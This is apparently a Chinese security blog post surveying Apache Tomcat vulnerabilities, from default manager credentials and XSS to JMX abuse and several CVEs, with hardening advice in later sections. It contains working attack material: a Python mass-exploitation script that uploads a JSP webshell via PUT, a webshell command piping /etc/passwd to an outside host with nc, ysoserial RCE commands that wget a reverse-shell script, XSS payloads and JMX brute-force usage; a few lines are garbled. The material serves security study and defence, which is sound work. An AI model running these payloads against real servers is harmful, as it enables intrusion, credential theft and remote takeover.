注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

本文目录

[TOC]

0x01 Manager administrator管理页面登录

描述:如果采用的是运行在Windows平台上的Tomcat安装版,并且版本在Tomcat 5.5.0 to 5.5.28Tomcat 6.0.0 to 6.0.20之间可以利用CVE-2009-3548漏洞来登录后台。
漏洞描述:受该漏洞影响的Tomcat版本如果在安装时不更改,那么Tomcat默认会建立一个名为“admin”,密码为空的具有管理权限的账号。
漏洞编号:CVE-2009-3548 WIN版默认空口令漏洞

msf
use auxiliary/scanner/http/tomcat_mgr_login”

脆弱性user.xml配置文件:

<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user name="admin" password="admin" roles="manager-gui,admin-gui" />
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
-->
<!--
NOTE: The sample user and role entries below are wrapped in a comment
and thus are ignored when reading this file. Do not forget to remove
<!.. ..> that surrounds them.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
<user username="role1" password="tomcat" roles="role1"/>
-->
</tomcat-users>

WeiyiGeek.

0x02 Tomcat Manager XSS漏洞

漏洞影响:Tomcat 版本包括:7.0.0 - 7.0.4, 6.0.12 - 6.0.29 以及 5.5 的所有版本。

/manager/html/sessions?path=/&sort="><script>alert('xss')</script>order=ASC&action=injectSessions&refresh=Refresh+Sessions+list


0x03 Tomcat样例目录session操纵漏洞

描述:Apache Tomcat默认安装包含”/examples”目录里面存着众多的样例,其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。
因为session是全局通用的所以用户可以通过操纵session获取管理员权限,注意cookies与session是不同的前者是存储再浏览器本地,而session存储在服务端;

0x01 漏洞分析演示
首先,我们先来看看SessionExample的部分源码

//表单代码
out.println("<P>");
out.print("<form action=\"");
out.print(response.encodeURL("SessionExample"));
out.print("\" ");
out.println("method=POST>");
out.println(rb.getString("sessions.dataname"));
out.println("<input type=text size=20 name=dataname>");
out.println("<br>");
out.println(rb.getString("sessions.datavalue"));
out.println("<input type=text size=20 name=datavalue>");
out.println("<br>");
out.println("<input type=submit>");
out.println("</form>");
//核心代码
HttpSession session = request.getSession(true);
out.println(rb.getString("sessions.id") + " " +session.getId());
out.println("<br>");

out.println(rb.getString("sessions.created") + " ");
out.println(new Date(session.getCreationTime()) +"<br>");

out.println(rb.getString("sessions.lastaccessed") + "");
out.println(new Date(session.getLastAccessedTime()));

String dataName = request.getParameter("dataname");//获取dataname参数的值
String dataValue = request.getParameter("datavalue");//获取datavalue参数的值
if (dataName != null && dataValue != null) {
session.setAttribute(dataName, dataValue);//将dataname和datavalue写入session
}

用户通过表单提交dataname和datavalue参数,然后通过request.getParameter()函数获取这两个参数的值,再通过session.setAttribute()函数将dataname和datavalue的值写入session;

举个例子:我们先来编写login.jsp,login2.jsp,index.jsp这三个页面,通过这三个页面来模拟一般网站身份验证的过程。

//login.jsp
<formaction=login2.jsp method="POST" >
用户名: <input type="text"name="username"><br>
密码: <input type="text" name="password"><br>
<inputtype="submit" value="登录"><br>
<form>

login2.jsp

<% 
if(request.getParameter("username") != null && request.getParameter("password")!= null) {
String username =request.getParameter("username");
String password =request.getParameter("password");
//验证身份
if (username.equals("admin")&& password.equals("admin")) {
session.setAttribute("login","admin");
response.sendRedirect("index.jsp");
}else {
response.sendRedirect("login.jsp");
}
}
%>

index.jsp :意思就是当login的session为admin时候为登录否则跳转到login.jsp

<% 
//判断session
if(session.getAttribute("login") != null && ((String)session.getAttribute("login")).equals("admin")){
out.println("Login");
} else{
response.sendRedirect("login.jsp");
}
%>

演示如何通过操纵session进入网站后台

(1)我们直接打开网站后台即index.jsp,发现被重定向到login.jsp了,而且在不知道密码的前提下,我们是无法登陆进去的
http://127.0.0.1:8080/examples/index.jsp
WeiyiGeek.

(2)打开SessionExample : http://127.0.0.1:8080/examples/servlets/servlet/SessionExample
在Name of Session Attribute: 里输入login
在Value of Session Attribute:里输入admin
WeiyiGeek.

(3)提交后显示login=admin已经写入session
WeiyiGeek.

再次打开index.jsp,显示成功登录

<%setAttribute("request.getParameter("u")", " request.getParameter("a")%>

WeiyiGeek.


0x04 Tomcat样例目录XXS漏洞

描述:Apache Software Foundation Tomcat跨站脚本攻击漏洞

http://www.cq.cn:8080/jsp-examples/jsp2/el/functions.jsp?foo=[XSSplayload]
http://www.cq.cn:8080/jsp-examples/jsp2/el/implicit-objects.jsp?foo=[XSSplayload]
http://www.cq.cn:8080/jsp-examples/cal/cal2.jsp?time=[XSSplayload]
http://host:port/jsp-examples/snp/snoop.jsp; <SCRIPT>alert()</SCRIPT> test.jsp

XSS POC:

<img/src="http://www.cqczkj.gov.cn/images/flink1.png">
<a href="#" alt="baidu" onclick=alert(window.location.host)>test</a>
<input type="button" value="xss" onclick="alert(1)"/>

WeiyiGeek.

0x05 Tomcat JMX服务器弱口令

Tomcat服务器的一些配置问题,可以将Java管理扩展(JMX)服务暴露到外部网络中,来用于远程监视和管理的目的。
通过使用Java开发工具包(JDK)中的JConsole工具,这些功能可能被攻击者滥用来获得系统的控制权限。

实例:通过Java远程方法调用(RMI)来与服务器交互。这个服务默认不开启,与之相反的是其他常见的Java企业版的服务器(比如JBoss)是默认配置开启的
为了开启Tomcat的JMX服务,需要在setenv.sh/setenv.bat做一些简单的修改,这个脚本是用来设置环境变量和Catalina进程启动时的一些属性。
JMX服务可以配置为支持认证,但是它默认不开启,当认证被开启(总是被推荐),它的授权模型允许访问属于只读或读写角色的两个不同的用户。

例如,在下面的URL对应的网页的标题为“监视和管理Tomcat”,但是它的配置指导是基于java 6版本的:
http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote
为了开启Tomcat的JMX服务,需要在setenv.sh/setenv.bat做一些简单的修改,这个脚本是用来设置环境变量和Catalina进程启动时的一些属性。

  • 编辑Tomcat/bin中的catalina.bat。如果配置权限,需要将autenticate设置为true,将1中的下面两行代码添加到最上面一行,注意所有的命令必须在一行!
  • 在Tomcat/conf目录下新建两个文件:jmxremote.access和jmxremote.password,第一个文件存的是角色信息,第二个存放的是密码信息(可修改)。

如果你需要认证,添加并修改这个:

-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access

编辑$CATALINA_BASE/conf/jmxremote.access文件:

monitorRole readonly #权限
controlRole readwrite

编辑$CATALINA_BASE/conf/jmxremote.password文件:

onitorRole tomcat     #角色分配密码
controlRole tomcat

提示:密码文件应该是只读的,只能用和运行Tomcat相同的操作系统用户来访问。
如上所见,jmxremote.access文件包含两个用户名(monitorRole和controlRole)和他们相关的角色。在jmxremote.password文件中设置这些用户的密码。


(1)验证是否启用Tomcat的JMX接口
通常需要使用nmap进行扫描,来确认与Tomcat关联的JMX接口是否已启动并在远程服务器上运行。

nmap -p- -A -sV –version-all 192.168.11.128

2001/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @192.168.11.128:2001
| extends
|_ java.rmi.server.RemoteObject

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
49222/tcp open rmiregistry Java RMI

在这种情况下JMX服务被配置为在非标准端口2001/tcp而不是端口1099/tcp上运行,1099/tcp通常被这种服务的优先选择。

(2)使用Jconsole连接jxm工具
如果你使用Windows,JConsole是JDK中的一个小的可执行文件,存储在bin文件夹中(Kail中也有)。

jconsole 命令

WeiyiGeek.

连接JXM的RMI接口的端口IP:
WeiyiGeek.

单击Insecure connection按钮继续,当启用认证,通常会显示以下提示:
在这种情况下您应该使用username和password文本框输入一些有效的凭据,请注意也可能由于其他原因获得连接失败错误;
连接失败的常见原因之一是由于攻击者和服务器之间的防火墙;此防火墙可能配置为阻止传入流量到由Tomcat启动的其他Java RMI进程使用的端口
例如上面nmap扫描输出中列出的49222/tcp

(3)使用Wireshrke进行判断:
在下面的示例中,Tomcat JMX服务器正在返回包含认证失败错误的RMI消息:
WeiyiGeek.

请注意上面的错误包括需要凭据的字符串,表示在JConsole初始屏幕中未指定任何凭据;在输入一些凭据时返回不同的错误消息:
WeiyiGeek.

如果未启用认证(这在某些内部网络渗透测试中可能是正确的),我们将考虑攻击者能够识别一个监听的Tomcat JMX接口并可以使用JConsole连接到它的情况。
这是可能的,因为认证未启用,或者因为攻击者能够猜到一些有效的凭据。

(4)使用JMX读取Tomcat管理器的密码
假设Tomcat启用了管理器应用程序,但是没有使用任何弱凭据(如admin/admin或tomcat/manager)。
假设攻击者试图使用自动脚本来强制一个有效的密码而不成功,这个方法是在你的机器上面启动JConsole并且指向远程的Tomcat JMX服务器选择MBeans选项卡

Users->User->”manager”->UserDatabase->Attributes

WeiyiGeek.

访问Tomcat管理器来破环底层服务器,执行此操作的典型方法是部署简单的Web应用程序存档(WAR),包括允许执行操作系统(OS)命令的代码,然后调查服务器上的内容。
如果服务器在Windows上运行,则大多数时间它将作为SYSTEM或管理员运行。因此你的操作系统命令将在最高权限级别运行。

(5)日志循环函数中的目录遍历
如果由于某些原因Tomcat管理器不在那里怎么办?
虽然在内部网络中部署的服务器则不可能是这种情况,但是仍然有可能,因此我们需要另一种方法来浏览服务器,假设我们仍然能够连接Tomcat JMX接口。
日志循环函数:在大量的具有写权限的Tomcat JMX MBeans操作中,有一个显示了有趣的行为

Catalina->Valve->localhost->AccessLogValve->Operations
boolean rotate(string newFileName)
#最后totate函数用此位置指定文件:
/tmp/test.log

这表明rotate函数用于备份Tomcat访问日志到服务器上的文件中。
完成这个过程后,下面的确认消息由服务器返回:
WeiyiGeek.

可以确认test.log文件在tmp目录中,直到rotate函数被调用目录的内容是Tomcat访问日志。

[email protected]:/tmp$ cat /tmp/test.log
192.168.11.1 - - [08/Dec/2016:14:50:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026

在服务器上面执行OS命令
正如上一节讨论的,rotate函数允许在服务器的任意目录中存储文件,它还将允许选择该文件的任意扩展。
作为一个攻击者,我们滥用它来在Tomcat提供网络服务的目录中创建一个Java Servlet Page(JSP)文件,在这里我们的目标创建包含JSP指令的文件来在服务器上面执行命令。
为了实现这个,我们首先需要的是使用在URL中包含有效的JSP代码的请求来破环Tomcat访问日志。

例如,使用Burp Suite Repeater来发送下面的请求
WeiyiGeek.

找到一个可靠的路径来存放我们的使用rotate函数的JSP文件,能利用JConsole界面中的一些信息;VM的Summary选项卡能提供一些关于catalina.base属性的信息。
这个选项卡包含一个节(在窗口底部),显示了Java VM的参数。
WeiyiGeek.

Catalina.base目录应该返回一个webapps文件夹,其中是Tomcat提供的各种网络服务。
下面的截图是Tomcat服务器默认的应用的例子:
WeiyiGeek.

将cataline.base目录的信息和Tomcat上的应用列表放在一起,找到存储我们JSP文件的目录还是可能的;
例如:一个test.jsp文件存储在/docs文件夹中,在这里上面的路径可以和rotate函数一起使用

/opt/bitnami/apache-tomcat/webapps/docs/test.jsp

WeiyiGeek.

包括一些调整允许使用管道将输出从一个命令重定向到另一个命令

http://192.168.11.141/docs/test.jsp?cmd=sh -c [email protected]|sh . echo /bin/cat /etc/passwd | nc 192.168.11.136 8080

如果需要目前为止的web shell也可以用来执行wget命令,并从远程机器上面下载一个更多功能的JSP shell。


(6)捕获SMB challenge-responses hashes
然而有时可能出现不正确的情况,且服务器运行在域账户。如果那种情况,捕获SMB challenge-responses和破解他们是可能的。Rotate函数也在这里使用。
为了测试攻击场景,Kali虚拟机可以用来启动Metasploit SMB capture auxiliary module。
使用JConsole执行JMX连接,并且使用下面的参数使用rotate函数:

\\192.168.11.136\test

在这种情况,上面的IP地址是Kali虚拟机。下面的截图确认了Tomcat向远程IP发送了一个请求,能够3次捕获SMB challenge:
WeiyiGeek.

通过创建其他文件类型来进行client-side攻击
注意,rotate函数也能用来创建敏感文件(如HTML文件),并且在网络应用中存储他们,以便执行跨站脚本攻击。
这个涉及到,重复上述步骤,使用可靠的HTML代码污染日志文件,然后在Tomcat网络应用程序目录中存储一个HTML文件。
WeiyiGeek.


(7)抓取网络应用的用户的session ID
另外的Tomcat JMX操作能被攻击者利用来劫持Tomcat网络应用的用户的会话,lisrSessionIds()在下面的节点显示:

Catalina->Manager->[ApplicationName]->Operations->listSessionIds()

这个操作通常可用于Tomcat上部署的每个网络应用中,且如名称所示能返回连接应用的用户的所有的JSESSIONID。

例如下面的截图显示了连接管理器应用的用户的session ID:
WeiyiGeek.

通过Tomcat JMX服务可用的操作之一将允许检索JSESSIONID cookie值,因此可能允许攻击者通过劫持他们的会话来假冒另一个用户。
注意,由于需要该帐户的有效用户名和密码,因此无法利用此问题访问管理器应用程序。然而部署在服务器上的其他应用程序(例如支持基于JSESSIONID cookie的认证的应用程序)会受到影响。

能够运行listSessionIds()数的攻击者将能够劫持另一个用户的会话,注意listSessionIds()是另一个操作,它只对具有写入权限的JMX用户可用。
如果JMX服务器配置为允许未经认证的访问,那么它仍然可以使用。

(7)暴力破解进入Tomcat JMX
当Tomcat JMX服务配置为启用认证并且使用强密码时,仍有可能获得未经授权的访问。
实际上为此服务实现的认证过程在登录失败后不会锁定帐户,因此容易受到暴力密码破解攻击。
PoC工具(jmxbf)已经由作者开发来演示这个。

java -jar jmxbf.jar
$>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
github可以下载到:https://github.com/nccgroup/jmxbf

正如已经提到的,MBeans操作的大列表和属性能提供给连接Tomcat JMX服务的用户使用。可能还有其他函数,可以使用与上面讨论的rotate函数问题所示的类似的方式。

如果暴露了JMX服务器可以利用这些漏洞:(反序列化)

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735

是却可以说如果你的Tomcat运行在老版本的Java系统中,是可能通过发送特定的包到JMX服务器来实现RCE。


(8)修复建议
首先,建议对JMX服务的访问使用防火墙。只有列入白名单的IP地址才能连接。
然而,应该始终启用强密码的认证,下面是在Windows使用setenv.bat启动认证的例子:

SET JAVA_HOME={replace with full path to Java JDK}
SET JRE_HOME=%JAVA_HOME%
SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server
SET CATALINA_OPTS=-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
SET CATALINA_OPTS=%CATALINA_OPTS%
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access

下面是Linux下面使用setenv.sh的例子:

JAVA_HOME={replace with full path to Java JDK}
JRE_HOME=$JAVA_HOME
JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS "
JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS "
CATALINA_OPTS="-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access"
export JAVA_HOME
export JRE_HOME
export JAVA_OPTS
export CATALINA_OPTS

SSL也应该开启,以保护认证过程中凭据嗅探攻击。
注意,在上述所有的配置中,jmxremote.ssl变量设为true。

下面的URL包含了这个任务的参考信息:
https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html
https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html
强烈推荐为只读和读写用户在jmxremote.password文件中设置高强度密码保护。

另外只有Tomcat用户才被允许读取jmxremote.password文件,如果检测到这个文件的读权限太宽松Tomcat将不会启动。

cacls jmxremote.password /P [username]:R

关于rotate函数的问题,作者认为应该严格的控制,以避免Tomcat JMX服务器在服务器上可用的任何文件夹上创建具有任何扩展名的日志文件。
通过这个函数创建的日志文件只能在Tomcat日志文件夹中创建,并且无法使用URL访问。

最后考虑在系统上存储一个哈希版本的Tomcat管理器密码(因为这个哈希将在JMX属性中可见)而不是纯文本版本。
注意,这是我们从Tomcat收到的一个建议,同时讨论了JMX只读用户能够读取管理器的密码的问题,然而这种情况下如果用户名还是明文,攻击者可以使用离线密码破解工具破解密码。

下面的URL包含了存储哈希版本密码的一些参考:
https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords
http://www.jdev.it/encrypting-passwords-in-tomcat/
https://leanjavaengineering.wordpress.com/2011/02/04/tomcat-digested-passwords/

下面是digest工具的使用例子:

digest.bat -s 0 -i 1 themanagersecretpassword
#根据Tomcat的推荐,当不使用-a参数,则默认使用SHA-512。
#注意在上面的例子中,-s和-i参数分别用于设置salt的长度和迭代次数。

#将输出明文和加密的凭据:
themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095
>digest.bat themanagersecretpassword #返回{salt}${iterations}${digest}格式的输出
themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b


0x06 CVE-2016-8735(远程代码执行)

描述:Apache Tomcat Remote Code Execution {JmxRemoteLifecycleListener-有限制},Tomcat是运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——Tomcat可看作是Apache的扩展,不过实际上Tomcat也可以独立于Apache运行。
CVE 编号: CVE-2016-8735
漏洞概述:Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。
Tomcat也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。

受影响版本:

  • Apache Tomcat 9.0.0.M1 to 9.0.0.M11
  • Apache Tomcat 8.5.0 to 8.5.6
  • Apache Tomcat 8.0.0.RC1 to 8.0.38
  • Apache Tomcat 7.0.0 to 7.0.72

利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执行。

漏洞PoC:https://github.com/frohoff/ysoserial
Tomcat 8.0.36,conf/server.xml添加配置,必须添加catalina-jmx-remote.jar包,修改catalina文件配置;

WeiyiGeek.

WeiyiGeek.

#H:\工具包\White\框架漏洞Structure\Java反序列
java -jar ysoserial-master.jar
java -cp ysoserial-master-v0.0.4.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 calc.exe

WeiyiGeek.

采用Ceye 的 DNSlog 回显看是否存在漏洞:

构造命令:
Win ping 一次命令:ping -n 1 qjkpla.ceye.io
Linux ping 一次命令:ping -c 1 qjkpla.ceye.io

WeiyiGeek.

WeiyiGeek.

采用nc反弹shell: nc -l -vv 12555
然后构造命令:下载我们的反弹脚本:(之前用 bash 命令反弹没有成功所以使用 Python 脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://0ke.org/back.py -O /tmp/x.py"

WeiyiGeek.

成功反弹:
WeiyiGeek.

修复方案:
关闭JmxRemoteLifecycleListener功能,或者是对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制,同时增加严格的认证方式。


0x07 CVE-2019-0232(远程代码执行)

漏洞描述:在启用了enableCmdLineArguments的Windows上运行时,由于JRE将命令行参数传递给Windows的方式存在错误,CGI Servlet很容易受到远程执行代码的攻击。
CGI Servlet 默认是关闭的在Tomcat 以下版本将触发此漏洞。

漏洞触发条件:

  • 1.Windows
  • 2.启用了CGIServlet(默认为关闭)
  • 3.启用了enableCmdLineArguments(Tomcat 9.0.*版本默认为关闭)

影响版本:

  • Apache Tomcat 9.0.0.M1to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

环境配置:

#Modify Configuration
#(1)web.xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<!-- The mapping for the CGI Gateway servlet -->

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>


#(2) hello.bat
@echo off
@REM:whatever the content in batch file
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%

漏洞验证:本地测试验证如下
WeiyiGeek.

安全建议:

  • 版本排查:如果解压后的Tomcat目录名称被修改过或者通过Windows Service Installer方式安装,可使用软件自带的version模块来获取当前的版本。

环境参考:https://github.com/pyn3rd/CVE-2019-0232


0x08 CVE-2018-1305(权限绕过)

描述:Java EE 提供了类似 ACL 权限检查的注解,可以直接用于修饰 Java Servlet,用于对 Servlet 进行 ACL 保护。
CVE编号:

  • CVE-2018-1305
  • CVE-2018-1304

现假设有两个 Servlet:
Servlet1,访问路径为 /servlet1/
Servlet2,访问路径为 /servlet1/servlet2/

Servlet1 上有如下图的 Security Constraint(简单理解就是 ACL),Servlet2 上并没有 ACL。
然而因为 Servlet2 的访问 url 位于 Servlet1 的下一级(/servlet1/servlet2 是 /servlet1/ 的 “子目录”),所以 Tomcat 中正常的代码逻辑应该是,虽然 Servlet2 上面没有 ACL,但是 Servlet2 应该继承 Servlet1 的 ACL。

正常情况应该是:
先访问 /servlet1,返回 403,因为请求被 ACL 拦截了
再访问 /servlet1/servlet2,返回 403,因为请求被 ACL 拦截

那么实际的问题在哪里?
Tomcat 在接收到 Servlet 访问请求后,在实例化 Servlet 对象之前,会先扫描被访问的 Servlet 上注册的 ACL。如果存在 ACL,则将 ACL 规则添加到一个 Context 唯一的列表中。随后再检查当前访问的 Servlet 是否被 ACL 保护。

  • ACL 扫描 org.apache.catalina.authenticator.AuthenticatorBase#invoke:

实例流程:

WeiyiGeek.


0x09 CVE-2017-12615(文件PUT上传)

漏洞描述: 利用Tomcat允许PUT协议进行上传恶意的应用程序;
漏洞编号:CVE-2017-12615
影响平台:Windows&Linux
影响版本:Apache Tomcat 7.0.0 - 7.0.81

#! -*- coding:utf-8 -*- 
import httplib
import sys
import time,codecs

UrlFile=file('./tomcatIP.txt') #url列表
fp= codecs.open("./tomcat_success.txt","a") #成功利用后写入的文件,支持写入中文字符的方式

body = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">'''

if __name__ == "__main__":
try:
print '''
----------------------------------------------------------------------------------------
程序名称:Tomcat put上传漏洞利用程序
漏洞编号:CVE-2017-12615
影响平台:Windows&Linux
影响版本:Apache Tomcat 7.0.0 - 7.0.81
程序用法:
\ttomcatIP.txt 里面设置需要扫描的IP地址,如:10.110.123.30:8080 回车后输入下一个IP地址
\tpython tomcat_put.py
\t成功会自动部署webshell 部署后访问 http://10.110.123.30:8080/test11.jsp
-----------------------------------------------------------------------------------------\n'''
urllist=[]
print "\ttomcat url list:",
while True:
line = UrlFile.readline()
if len(line) == 0: # Zero length indicates EOF
break
line=line.strip() #去除空格
print line
urllist.append(line)
UrlFile.close()

print '\n'
for i in urllist:
conn = httplib.HTTPConnection(i)
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(i)
url = "/" + "test11"+'.jsp/'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
print 'shell:', 'http://' + sys.argv[1] + url[:-7]
info='\t[*]shell:'+'http://' +i + url[:-1]+"\n"
print info
fp.write(info)
fp.flush()
elif res.status == 204 :
info='http://' +i + url[:-1]
print '[*]file exists! %s' %info
else:
print '\t[*]error!'
conn.close()
else:
print '\t[*]server not vulnerable!'
except Exception,e:
print '\tError:', e


0x10 CVE-2017-5664(文件PUT上传)

描述:这是一个比较鸡肋并且与PUT相关的一个漏洞(所以需要readOnly 为 false)涉及到 DefaultServlet(主要讲解)) 与 WebdavServlet。
触发要求:

  • 需要 DefaultServlet readonly 值为 false,默认为true。
  • 要求服务端配置了自定义的静态错误页面,而且客户端能够触发相应的错误来使请求被转发至错误页面。

背景知识
DefaultServlet作用

  • JspServlet 的作用是处理jsp 与jspx 文件的请求,那么非 jsp jspx 文件请求 就是由 DefaultServlet 来处理的(其实有别的情况),这里简单地认为静态文件会交由DefaultServlet 来处理吧。
  • DefaultServlet 可以处理 PUT 或 DELETE请求,前提要求是readOnly 为 false,然而默认值是 true。
    $vim conf/web.xml
    #开启了DefaultServlet 处理 PUT 请求的功能
    <init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
    </init-param>


    #自定义404 错误页面
    <error-page>
    <error-code>404</error-code>
    <location>/404.html</location>
    </error-page>

利用案例:
1.请求必须到达DefaultServlet 才能进行 PUT 操作,这也就是说我们能上传的文件的类型是受限制的,比如默认情况下我们是不能上传jsp 或者jspx 的。

#本意是将 aaa.jsp PUT至目标服务器,保存为aaa.jsp
curl -i -T aaa.jsp http://localhost:8080/CVE-2017-5664/aaa.jsp

但是请求将会被 JspServlet 处理,而不是被DefaultServlet 处理,而又JspServlet是不处理 PUT 请求的(将其转变成为PUT请求),但是此时我们可以上传静态文件

#比如在readOnly 为 false 的时候通过如下命令上传aaa.txt
curl -i -T aaa.txt http://localhost:8080/CVE-2017-5664/aaa.txt

因为以上请求会被 DefaultServlet 处理,所以PUT 操作会成功。

2.利用思路
Java Servlet 规范中要求,当访问的资源出现如 404 或 500 之类的错误,并且同时服务端配置了相应的错误页面时,原始请求应该被forward 到错误页面。
如果 DefaultServlet 配置的readOnly 为 false,·则一个恶意的请求有可能删除或者替换掉错误页面文件·

如果给应用配置了一个自定义了 404.html 页面,如果原始请求错误就会被 forward 到 404.html 页面 , DefaultServlet 发现请求是一个 PUT 请求,所以直接利用从客户端传来的静态文件数据将/404.html 重写了。

#重写原始 404.html
Curl -i -T <echo 404 modified> http://localhost/poc.jsp

#查看404.html的内容发现写入成功
cat 404.html

#再次进行访问不存在的jsp文件
curl http://localhost/notFound.jsp

WeiyiGeek.


附录

Tomcat安全漏洞修改总结
1.删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录,这一步就可以解决大部分漏洞。
方法是将%tocmat_home%/conf/Catalina/localhost目录下的manager.xml删除掉


2.解决”slow http denial of service attack”漏洞
原理:利用http-post的时候,指定一个非常大的content-length,然后以很低的速度发包,比如10-100s发一个字节,让这种连接不断开,这样当客户端连接多了后,占用了webserver的所有可用连接,从而导制DOS,属于一种打拒绝服务攻击。
解决方法:打开server.xml找到,将其中的connectionTimeout=”20000”改为8000,其单位为ms。

<Connector port="8080" protocol="HTTP/1.1"
  connectionTimeout="20000"
  redirectPort="8443" />


3.Tomcat版本的选择与安装注意事项
在安装时使用自定义的安装路径,并自定义WEB根目录。可以在Tomcat安装目录的conf目录下的server.xml中修改默认WEB根目录

#在</Host>之前加入类似以下内容:(重启生效)
<Context path="" docBase="D:/javaweb" debug="0" reloadable="true" crossContext="true" />

上面语句的作用是设置Tomcat虚拟路径,path代表虚拟目录,可自定义,也可以为空,docBase代表物理路径
如果按上面的设置,当访问http://192.168.30.128:8080时实际访问的是D:\javaweb目录下的文件。
如果path的值不为空,如设置为path=”java”时,那么访问时应该这样:http://192.168.30.128:8080/java。


4.Tomcat降权
在Windows环境下,Tomcat默认以System权限运行(如图11),这样的后果是一旦成功入侵WEB应用,将直接得到一个高权限的Webshell,并且不需要提权操作就可以完全控制服务器。
首先新建一个用户,设置复杂的密码,并且让它不属于任何用户组:
WeiyiGeek.

接着打开“本地安全策略”—>“本地策略”—>“用户权限分配”,找到“作为服务登录”项,把刚刚新建的用户添加进去,如图13。
WeiyiGeek.

然后打开“服务”组件,找到Tomcat的服务,右键“属性”—>“登录”,用刚新建的tomcat账号运行Tomcat服务,如图14
WeiyiGeek.

再找到Tomcat安装目录,只为“Administrators组”和“tomcat”账户分配完全控制权限,并将其他账户权限全部删除。
